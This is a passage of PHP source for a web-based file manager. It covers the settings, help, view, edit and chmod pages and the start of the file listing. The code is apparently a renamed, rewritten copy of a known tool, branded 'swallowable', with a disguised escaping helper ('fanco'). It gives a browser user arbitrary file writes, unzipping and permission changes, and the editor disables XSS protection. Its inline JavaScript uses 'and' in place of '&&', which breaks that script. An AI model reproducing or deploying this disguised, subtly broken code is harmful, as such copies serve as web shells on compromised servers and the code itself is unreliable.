                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select" id="js-language" name="js-language">
                                <?php
                                function getSelected($l) {
                                    global $lang;
                                    return ($lang == $l) ? 'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value='$k' ".getSelected($k).">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <div class="mt-3 mb-3 row ">
                        <label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select w-100" id="js-3-0" name="js-theme-3">
                                <option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option>
                                <option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option>
                            </select>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p><h3><a href="." target="_blank" class="app-v-title"> swallowable <?php echo VERSION; ?></a></h3></p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
                                <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
                                <?php if(!FM_READONLY) { ?>
                                <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize_raw = fm_get_size($file_path);
    $filesize = fm_get_filesize($filesize_raw);

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if($online_viewer and $online_viewer !== 'false' and in_array($ext, fm_get_onlineViewer_exts())){
        $is_onlineViewer = true;
    }
    elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="row">
        <div class="col-12">
            <p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fanco(fm_convert_win($file)) ?>"</b></p>
            <p class="break-word">
                <?php $display_path = fm_get_display_path($file_path); ?>
                <strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br>
                <strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
                <strong>MIME-type:</strong> <?php echo $mime_type ?><br>
                <?php
                // ZIP info
                if (($is_zip || $is_gzip) and $filenames !== false) {
                    $total_files = 0;
                    $total_comp = 0;
                    $total_uncomp = 0;
                    foreach ($filenames as $fn) {
                        if (!$fn['folder']) {
                            $total_files++;
                        }
                        $total_comp += $fn['compressed_size'];
                        $total_uncomp += $fn['filesize'];
                    }
                    ?>
                    <?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br>
                    <?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br>
                    <?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br>
                    <?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br>
                    <?php
                }
                // Image info
                if ($is_image) {
                    $image_size = getimagesize($file_path);
                    echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
                }
                // Text info
                if ($is_text) {
                    $is_utf8 = fm_is_utf8($content);
                    if (function_exists('iconv')) {
                        if (!$is_utf8) {
                            $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                        }
                    }
                    echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
                }
                ?>
            </p>
            <div class="d-flex align-items-center mb-3">
                <form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button> &nbsp;
                </form>
                <b class="ms-2"><a href="<?php echo fanco($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                <?php
                // ZIP actions
                if (!FM_READONLY and ($is_zip || $is_gzip) and $filenames !== false) {
                    $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                    ?>
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
                    </form>&nbsp;
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <input type="hidden" name="tofolder" value="1">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fanco($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
                    </form>&nbsp;
                    <?php
                }
                if ($is_text and !FM_READONLY) {
                    ?>
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                        </a></b> &nbsp;
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                            class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
                        </a></b> &nbsp;
                <?php } ?>
                <b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
            </div>
            <?php
            if($is_onlineViewer) {
                if($online_viewer == 'google') {
                    echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                } else if($online_viewer == 'microsoft') {
                    echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                }
            } elseif ($is_zip) {
                // ZIP content
                if ($filenames !== false) {
                    echo '<code class="maxheight">';
                    foreach ($filenames as $fn) {
                        if ($fn['folder']) {
                            echo '<b>' . fanco($fn['name']) . '</b><br>';
                        } else {
                            echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                        }
                    }
                    echo '</code>';
                } else {
                    echo '<p>'.lng('Error while fetching archive info').'</p>';
                }
            } elseif ($is_image) {
                // Image content
                if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
                    echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fanco($file_url) . '" alt="image" class="preview-img"></label></p>';
                }
            } elseif ($is_audio) {
                // Audio content
                echo '<p><audio src="' . fanco($file_url) . '" controls preload="metadata"></audio></p>';
            } elseif ($is_video) {
                // Video content
                echo '<div class="preview-video"><video src="' . fanco($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
            } elseif ($is_text) {
                if (FM_USE_HIGHLIGHTJS) {
                    // highlight
                    $hljs_classes = array(
                        'shtml' => 'xml',
                        'htaccess' => 'apache',
                        'phtml' => 'php',
                        'lock' => 'json',
                        'svg' => 'xml',
                    );
                    $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                    if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
                        $hljs_class = 'nohighlight';
                    }
                    $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fanco($content) . '</code></pre>';
                } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
                    // php highlight
                    $content = highlight_string($content, true);
                } else {
                    $content = '<pre>' . fanco($content) . '</pre>';
                }
                echo $content;
            }
            ?>
        </div>
    </div>
    <?php
        fm_show_footer();
    exit;
}

// file editor
if (isset($_GET['edit']) and !FM_READONLY) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    $editFile = ' : <i><b>'. $file. '</b></i>';
    header('X-XSS-Protection:0');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg(lng('File Saved Successfully'));
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select>
                            <select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
                <a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                <a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                <?php if ($is_text) { ?>
                    <?php if ($isNormalEditor) { ?>
                        <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                        </button>
                    <?php } else { ?>
                        <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                        </button>
                    <?php } ?>
                <?php } ?>
            </div>
        </div>
        <?php
        if ($is_text and $isNormalEditor) {
            echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
            echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey)  and e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
        } elseif ($is_text) {
            echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
        } else {
            fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
        }
        ?>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['chmod']) and !FM_READONLY and !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);
    ?>
    <div class="path">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    <?php $display_path = fm_get_display_path($file_path); ?>
                    <?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fanco($file) ?>">

                    <table class="table compact-table <?php echo fm_get_theme(); ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                       <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> 
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
            <thead class="thead-white">
            <tr>
                <?php if (!FM_READONLY): ?>
                    <th style="width:3%" class="custom-checkbox-header">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                            <label class="custom-control-label" for="js-select-all-items"></label>
                        </div>
                    </th><?php endif; ?>
                <th><?php echo lng('Name') ?></th>
                <th><?php echo lng('Size') ?></th>
                <th><?php echo lng('Modified') ?></th>
                <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                    <th><?php echo lng('Perms') ?></th>
                    <th><?php echo lng('Owner') ?></th><?php endif; ?>
                <th><?php echo lng('Actions') ?></th>
            </tr>
            </thead>
            <?php
            if ($parent !== false) {
                ?>
                <tr><?php if (!FM_READONLY): ?>
                    <td class="nosort"></td><?php endif; ?>
                    <td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
                <?php
            }
            $uu = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = "";
                $filesize = lng('Folder');
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $uu ?>" name="file[]" value="<?php echo fanco($f) ?>">
                            <label class="custom-control-label" for="<?php echo $uu ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fm_convert_win(fanco($f)) ?>>
                        <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
                            </a><?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
                    </td>
                    <td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo')?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink')?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $uu++;
            }
            $ik = 6070;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fanco($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fanco($f) ?>>
                        <div class="filename">
                        <?php
                           if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
                                <?php $imagePreview = fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fanco($f) ?>">
                           <?php else: ?>
                                <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                            <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
                                </a>
                                <?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
                        <?php echo $filesize; ?>
                        </span></td>
                    <td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fanco($owner['name'] . ':' . $group['name']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <?php if (!FM_READONLY): ?>
